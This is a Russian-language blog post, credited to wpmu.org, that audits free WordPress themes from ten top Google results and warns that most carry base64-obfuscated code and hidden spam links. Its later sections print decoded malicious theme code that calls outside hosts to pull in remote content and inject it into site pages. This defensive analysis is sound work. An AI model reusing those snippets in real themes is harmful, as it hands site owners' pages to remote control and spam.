Почему лучше не качать бесплатные темы WordPress с непонятных сайтов

Дата публикации:Март 31, 2013

Несколько дней назад мною была опубликована заметка про защиту WordPress. Теперь, вооружившись инструментами Theme Authenticity Checker и Exploit Scanner, мы отправимся в Google и посмотрим, какие сайты выдаются по запросу «free wordpress themes» и какие темы предлагаются для бесплатного скачивания на этих сайтах. Мы будем изучать только первую страницу поисковой выдачи.

google_search

Примечание: я не загружал ни одной темы на свой сервер. Вместо этого я использовал xampp с WordPress на локальном компьютере. Я не советую загружать темы с непонятных сайтов напрямую на свой сервер – мало ли, что в этих темах скрыто. К сожалению, скрыто в них много всего неприятного…

Список бесплатных тем для WordPress

1. WordPressThemesBase

Первым в поисковой выдаче Google стоит сайт WordPress Themes Base. Кто-то упорно трудится над их SEO-показателями! Небольшая заметка в самом низу главной страницы сайта сообщает посетителям, что в отличие от остальных сайтов, предлагающих бесплатные темы для WordPress, темы от WordPress Themes Base являются самыми последними и свежими. Прекрасно, нет ничего лучше, чем новая, красивая тема!

Я решил скачать тему Prinz Branford Magazine. Уже на данном этапе я столкнулся с некоторыми проблемами. Branford Magazine – это тема выпущенная der Prinz. Вообще, есть несколько версий данной темы. Это либо старая версия, которая (насколько я могу судить) не работает с WP 3.0, либо Pro-версия, которая была выпущена не так давно. Таким образом, мы имеем дело либо с устаревшей темой, либо с копией Pro-темы.

Первое, что я сделал – это установил тему и пропустил ее через TAC (Theme Authenticity Checker).

BranfordMagTac

Зашифрованный код найден! Первый же сайт в Google, и мы видим Base64. Ужасно… Base64 часто используется для скрытия вредоносного кода. Как мы видим, код находится в футере. Давайте посмотрим туда:

BranfordMagfoot

О да, стоит копирайт! Именно здесь и кроется Base64. Он сидит в коде футера:

Branfordbase64

Куча всякой хрени.

Вы можете декодировать данный base64-код двумя способами:

1. Вы можете попробовать удобный Otto Decoder.

2. Вы можете сделать это вручную – вам понадобится изменить eval() на echo(), чтобы увидеть то, что было скрыто.

Я решил выбрать для себя второй вариант. Замена eval() на echo() привела к следующему результату в футере темы:

BranfordMagazinefooter

Что такое? Минуту назад здесь стоял копирайт. А теперь здесь стоит какая-то ерунда «Free Anti-Virus Downloads»! Откуда это взялось? По-видимому, было скрыто в base64.

Вердикт

Я скачал две другие темы с этого сайта, и все они содержали в себе base64-код. Правда, стоит сказать, что Base 64 используется не только для простого скрытия ссылок. Также с его помощью можно прятать вредоносный код, который способен что-нибудь натворить на вашем сайте. Владелец сайта, на котором хранятся все эти «новые и свежие» темы, берет темы с официальных ресурсов и запихивает в них вредоносный base64-код. Я связался с Michael Oeser из der Prinz, который сообщил мне интересные сведения: оказывается, он уже пытался связаться с владельцем данного сайта, чтобы тот удалил тему, но никаких результатов это не принесло. Michael отправил в свой блог предупреждение об опасности, которую несет в себе загрузка пиратских тем. Он является разработчиком темы Branford Magazine, потому к его словам стоит прислушаться!

Избегаем данного сайта!

2. Free WordPress Themes

Еще один сайт с бесплатными WordPress-темами. Великолепно! Именно то, что мне нужно! Почему бы не получить что-нибудь качественное на халяву? Первая тема на сайте носит название BeautyStore. Мне нравятся магазины косметики и парфюмерии, потому я скачал ее себе. Давайте установим ее и пропустим через TAC.

beautystoretac

Еще больше зашифрованного кода!

И снова в футере:

BeautySTorefooter

Не слишком красивый ход для темы, которая должна нести красоту людям. В футере находятся все виды закодированных функций. На сей раз, заменив все вхождения eval() на echo(), я ничего не добился. Я пропустил код через несколько декодеров, но это также не дало ясных результатов.

Exploit Scanner тоже начал ругаться на данный код.

beautystoreexploit

Все предупреждения являются серьезными.

Вердикт

Второй сайт в Google, и еще больше base64. Я скачал некоторые другие темы с этого сайта – они не содержали в себе base64, однако в них были статичные ссылки. Я думаю, что этот сайт просто собирает все темы повсюду в сети. Правда, в прошлом случае у меня получилось декодировать base64. Сейчас же ничего не вышло. Обсуждения на форумах дали понять, что этот зашифрованный код вполне может использоваться для взлома. Я не обладаю продвинутыми техническими навыками, чтобы «распотрошить» этот код (как, впрочем, и большая часть пользователей WP). Потому вердикт однозначен:

Избегаем данного сайта!

3. Themes2WP

Бегло просмотрев темы на Themes2WP, я сразу же обнаружил для себя несколько интересных вариантов. Давайте, к примеру, остановимся на журнальной теме Gameliso, которая имеет приятную визуальную стилизацию.

GameLisoTAC

После небольшой проверки, Theme Authenticity Checker нашел 5 статичных ссылок. Статичные ссылки – это нормально, верно? Разработчики вполне могли оставить обратные ссылки на свои сайты. Вот и сами ссылки:

gamelisostaticlinks

Хм-м-м-м… Не знаю, как вы, но я сомневаюсь, что сайты знакомств и сайты по уходу за животными имеют какое-то отношение к разработке тем. Давайте более внимательно изучим код в footer.php:

Gamelisocode

Тут стоят ссылки с очень «полезным» сообщением: «Please do not edit following code, it may cause your site to stop working» (Пожалуйста, не редактируйте следующий код, иначе ваш сайт может перестать работать). Удаление ссылок может что-то нарушить. Смешно.

Подождите-подождите! Я удалил их, но сайт по-прежнему отлично работает!

В sidebar.php сидит еще одна ссылка:

gamelisosidebarlink

Если мы проверим стили для ad_lnk, то увидим следующее:

gamelisocss

Ничего себе! Ссылка, которую никто не увидит. Естественно, она может использоваться только для связи с разными сайтами.

Ссылки проверили. Теперь давайте запустим сканер эксплойтов.

GameLisoExploitScanner

Тема Gameliso помечена как содержащая в себе eval (), что может использоваться для выполнения вредоносного кода. Это не совсем то, что вам хотелось бы видеть в своей теме.

Вердикт

Темы, конечно, хорошие, но содержат в себе 5 обратных ссылок на разные сайты. К тому же, в теме содержится сообщение, что если вы удалите ссылки, то тема может перестать работать. Мы-то с вами знаем, что это банальный обман, однако новичок в WP может дважды подумать перед тем, как удалять их. Что касается функции eval, я не слишком хорошо разбираюсь в Javascript, чтобы сказать вам, используется ли в данном случае вредоносный код или нет.

Избегаем данного сайта!

4. FreeWPThemes

На данный момент, изучив три прошлых сайта, у меня уже сложилось четкое впечатление о том, что все темы плохи, кроме тех, которые находятся в хранилище WordPress.org. Какое же было мое удивление, когда я обнаружил, что ни одна тема с сайта FreeWPThemes не содержит в себе странных вложенных ссылок! Я скачал 5 разных тем с разных разделов сайта. И все они содержали в себе одни и те же ссылки:

programmetac

Ни одна из данных ссылок не выглядит неуместной. Мои негативные мысли несколько развеялись.

Однако я решил дополнительно пропустить темы через Theme Check Plugin. Плагин проверяет тему, соответствует ли она последним стандартам. Вот что выдал плагин для темы Programme:

Programmethemecheck

Куча ошибок! Там они идут и ниже, просто решил не делать скриншот на полстраницы.

Вердикт

Возможно, темы FreeWPThemes не соответствуют текущим стандартам кодирования тем, однако в них нет вредоносного кода и левых ссылок. Возможно, некоторые вещи у вас не будут работать так, как полагается, но зато в них не будет никакой скрытой ерунды.

Использовать темы можно, но с одним условием: обязательно проверяйте функциональность, которая вам требуется!

5. WordPress.org

Наконец-то! WordPress.org! Все мы знаем и любим этот сайт. Это самое безопасное место, откуда можно брать темы. Я думаю, единственная проблема с темами состоит в том, что они выглядят так, будто были сделаны в 1600-х годах. Некоторые из тем не слишком хорошо работают с WP 3.0. В самом низу записи я укажу дополнительные места, откуда можно брать бесплатные, качественные и проверенные темы.

wordpress.org_

Вердикт

Проверенный сайт, вызывающий доверие.

6. Themes.Rock Kitty

На этом сайте есть картинка кошки, играющей на гитаре. Меня очень умиляют такие вещи. Первая тема, которую я скачал, не имела в себе рекламных ссылок или скрытого кода. Вторая тоже не включала в себя левых ссылок. А вот с третьей вышел «швах»:

Funda1

Очень много Base64!

Пришло время заменить eval() на echo()! После замены вылезло такое сообщение:

fundomessage

А вот и наши любимые ссылочки показались:

fundolinks

Exploit scanner выдал 17 серьезных предупреждений для данной темы. Поскольку мы нашли только 4 ссылки в самом низу страницы, можно предположить, что на самом деле этих спрятанных ссылок (и иного вредоносного кода) гораздо больше.

Вердикт

Используйте этот сайт очень осторожно! Если вы хотите загрузить тему на свой сервер, сначала установите ее на локальный компьютер и протестируйте. В итоге вы просто можете потерять свой сайт. Будьте аккуратны!

Избегаем данного сайта!

7. WP Themes Depot

Еще один веб-сайт, предлагающий самые свежие, красивые, качественные бесплатные темы для WP. Я решил загрузить самую популярную тему на сайте – Niferiti, которая имела 980 загрузок. Итог оказался плачевным: TAC обнаружил зашифрованный код.

Niferiti

После замены eval() на echo() я в которой раз получил сообщение:

fundomessage

Кто-то, очевидно, не хочет, чтобы я удалял данный код. Ссылки появились в футере:

nefiritilinks

Любые ссылки, скрытые в коде — не важно, какие они и куда ведут, — являются обманным маневром.

Вердикт

Очередной сайт с Base64 в коде. Я думаю, не нужно повторять, насколько он опасен. Разработчики могут включать ссылки на свои страницы. Правда, они не должны использовать для этого Base64! Никогда! Ни при каких условиях! Особенно учитывая тот факт, что этот код используется для скрытия всяких малварей.

Избегаем данного сайта!

8. WPRex

Я скачал 5 тем с этого сайта. Первые две содержали статичные спамерские ссылки. Остальные три содержали base64.

pinkdesiretac

Это тема Pink Desire. Пришло время декодировать Base64 с помощью декодера.

Вот, что мы получим:

pinkdesiredecoded

Куча зашифрованных ссылок.

Вердикт

Еще один сайт с самыми разными темами. Если вы решили скачать что-нибудь себе с этого сайта, обязательно пропустите тему через TAC. Вы можете также использовать некоторые декодеры, которые я перечислю в самом низу статьи. Эти декодеры помогут узнать вам, что скрывает в себе base64.

Избегаем данного сайта!

9. No Limits Web Design

Веб-сайт отметился несколько отличающимся от остальных ресурсов названием, что заставило меня усомниться в том, что он будет похож на то, что мы видели выше. Я решил загрузить с него одну из популярных тем — Dark Night. И опять же наткнулся на base64.

Darknight

Также в коде я нашел строку, начинающуюся eval(str_rot13(. Вы можете декодировать ее самостоятельно.

Я получил следующие результаты:

darknightstr

Тут, в основном, содержится текст, связанный с лицензией. Однако, как только я поменял eval на echo, данный код появился в самом верху страницы:

function wp_code() { $default_link_text = "Default"; $link_host[] = "http://www.webspacehosting.com/wp_links/wp_links.php"; $link_host[] = "http://nolimitswebdesign.com/wp_links/wp_links.php"; $l = ""; foreach($link_host as $value) { if($file = @fopen($value."?url=".get_bloginfo('url'), "r")) { while (!feof ($file)) { $line = fgets ($file); $l .= $line; } fclose($file); break; } else { if ($value == end($link_host)) { $l=$default_link_text; } } } return $l; } function check_wp_code_sidebar() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { } else { $l=""; $f = dirname(__file__) . "/sidebar.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { die; } } } check_wp_code_sidebar();

Я попросил взглянуть на этот код одного из своих друзей, и он мне расшифровал его:

function wp_code() {
		$default_link_text = "Default";
		$link_host[] = "http://www.webspacehosting.com/wp_links/wp_links.php";
		$link_host[] = "http://nolimitswebdesign.com/wp_links/wp_links.php";
		$l = "";
		foreach($link_host as $value) {
			if($file = @fopen($value."?url=".get_bloginfo('url'), "r")) {
				while (!feof ($file)) {
					$line = fgets ($file);
					$l .= $line;
				}
				fclose($file);
				break;
			} else {
				if ($value == end($link_host)) {
					$l=$default_link_text;
				}
			}
		}
		return $l;
	} 

	function check_wp_code_sidebar() {
		$uri = strtolower($_SERVER["REQUEST_URI"]);
		if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) {
		} else {
			$l="";
			$f = dirname(__file__) . "/sidebar.php";
			$fd = fopen($f, "r");
			$c = fread($fd, filesize($f));
			fclose($fd);
			if (strpos($c, $l) == 0) { die; }
		}
	} 

	check_wp_code_sidebar();

Тема получает ссылки из сайдбара, и если этих ссылок там нет, то она перестает работать. Отличный сайт.

Вот, что показал сканер эксплойтов:

Darknightexploitscan

Вердикт

Еще один сайт, использующий base64. К тому же, все очень сильно зашифровано.

Избегаем данного сайта!

10. Templates Browser

Мы с вами подошли практически к самому концу. Когда я искал данный сайт, то случайно наткнулся на статью, в которой говорилось, что этот сайт распространяет вредоносное ПО. Согласитесь, уже не самое лучшее начало. Я скачал тему Dropshadow с сайта Templates Browser, которая была разработана Brian Gardner, но которую уже нельзя загрузить с его сайта (вероятнее всего, поскольку она очень старая, и не совместима с WP 3.0). TAC смог найти только статичные ссылки:

dropshadowtac

Статичная ссылка в футере была закодирована с использованием PHP. Исходный код показал, что эта ссылка ведет на сайт казино. Однако в коде содержались и другие элементы, которые показались мне подозрительными, потому я попросил своего друга декодировать мне этот фрагмент:

1.	get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_code'");
3.	$l_code = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_code'");
4.
5.	if (empty($l_time_code)) {
6.	        $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_code', '0', 'no')");
7.	        $new_time_code = 0;
8.	} else
9.	        $new_time_code = intval($l_time_code[0]);
10.
11.	if (empty($l_code)) {
12.	        $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_code', '
', 'no')");
13.	        $new_l_code = '
';
14.	} else $new_l_code = $l_code[0];
15.
16.	if ( ( time() - $new_time_code ) >= 60 ) {
17.	        $R39C188653EA53DBD6E3F1D3915EDAC0C = "com";
18.	        $R8088818E3E46A17C12F2EE42EB12D7AC = "1.";
19.	        $R7B934F06258B8BA3608E30CDE9EA1035 = "xpstatz";
20.	        $xps = "xps.";
21.	        $url = "$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C";
22.	        $page = "/".$xps."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']);
23.
24.	        //1.xpstatz.com/xps.php?h=host&u=uri
25.
26.	        if (ini_get('allow_url_fopen')) {
27.	                $new_l_code = @file_get_contents("http://" . $url . $page);
28.	        }
29.	        else {
30.	                $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($url, '80', $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30);
31.
32.	                if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) {
33.	                        @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60);
34.	                        @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "GET $page HTTP/1.1rn");
35.	                        @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Host: $urlrn");
36.	                        @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Connection: Closernrn");
37.	                        $new_l_code = "";
38.	                        while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) {
39.	                                $new_l_code .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024);
40.	                        }
41.	                        $new_l_code = trim(strstr($new_l_code, "rnrn"));
42.	                }
43.	                @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38);
44.	        }
45.	        if ( strpos($new_l_code, '[/]') ) {
46.	                $new_time_code = time();
47.	                $R54997E66281827CBC285597040554FCC = mysql_escape_string($new_l_code);
48.	                $wpdb->query("UPDATE $wpdb->options SET option_value=$new_time_code WHERE option_name='l_time_code'");     $wpdb->query("UPDATE $wpdb->options SET option_value='$R54997E66281827CBC285597040554FCC' WHERE option_name='l_code'");
49.	}
50.
51.	}
52.	if ( strpos($new_l_code, '[/]') ) {
53.	        $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($new_l_code, '[]') + 2;
54.	        $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($new_l_code, '[/]');
55.	        echo substr($new_l_code, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57);
56.	        $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1;
57.	}
58.	?>

Здесь происходит сохранение ссылок в wp_options и получение кода с внешнего сайта (код проверяется каждые 60 секунд). Затем он обновляет временные коды и ссылки в таблице опций перед выводом их в футере.

Иными словами, более сложный метод реализации того, что мы видели ранее.

Вердикт

Подозрительным выглядит уже тот факт, что другой сайт сообщает о присутствии вредоносного кода на Templates Browser. Еще более подозрительным является тот факт, что они распространяют старую тему, созданную текущим разработчиком WordPress. Весь этот запутанный код в футере – еще один вариант получить контроль над вашим сайтом.

Избегаем данного сайта!

Итог

Посетив десять первых сайтов в выдаче Google, мы пришли к выводу:

  • Безопасных сайтов: 1
  • Ненадежных сайтов: 1
  • Опасных сайтов: 8

Восемь из десяти сайтов отличились тем, что их темы включали в себя base64. Обычный пользователь WordPress знает, что Google – не самое лучшее место для поиска тем, однако статистика, представленная на этих сайтах, говорит о том, что есть тысячи людей, которые скачивают эти темы и устанавливают их себе на сайт. Безусловно, большая часть пользователей, которые только начали работать с WordPress, будут вбивать запрос «free WordPress themes» в Google. В лучшем случае все эти люди будут распространять спамерские ссылки, сами того не зная.

Конечно, каталог официальных тем для WP не всегда может предложить действительно интересные и красивые темы. Потому я приведу список других (проверенных и безопасных) сайтов, которые могут помочь вам в выборе тем:

Бесплатные темы:

Платные темы:

Легитимный сайт, предлагающий бесплатные темы для WordPress, не должен содержать слово «WordPress» в своем URL-адресе. WordPress является торговой маркой. Если сайт нарушает данное правило, то, скорее всего, и темы на нем будут не самыми качественными. Вот что сказано по данному поводу в WP:

«За исключением сайтов WordPress.com, WordPress.net, WordPress.org, WordPress.tv и WordPressFoundation.org, использование фразы wordpress в названии домена запрещено. Если вы нашли такой сайт, свяжитесь с его владельцем и скиньте ссылку на данную страницу».

Декодирование:

Если вы изучаете различные темы, вам могут понадобиться следующие инструменты для декодирования:

Полезные плагины:

Источник: wpmu.org

Поделиться

4 комментария

  1. Nurlan says:

    Большое спасибо за ссылки на сайты для скачивания относительно безопасных шаблонов WordPress. Сократили время на поиски хороших и бесплатных тем для сайта.

  2. Это касается не только тем, но плагинов. К примеру на сайтах с пиратскими темами почти всегда встроены вредоносные скрипты по выводу рекламы с этих сайтов.

    А вообще говоря чем-нибудь обосновано использование зашифрованного кода для невредоносных целей?

    • Architect Of Ruin says:

      Бывает, что используют зашифрованный код и для легитимных целей, но это очень редкие случаи, и такой подход не поощряется разработчиками — именно из-за того, что так скрываются всякие ссылки и другие нелицеприятные моменты, потому на 99.9% можно сказать, что все эти eval и base64 нацелены на нанесение ущерба сайту.

  3. Евгений says:

    Очень хорошая и полезная тема!!! Мне очень понравилось, спасибо автору!!!

Оставить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Получать новые комментарии по электронной почте. Вы можете подписаться без комментирования.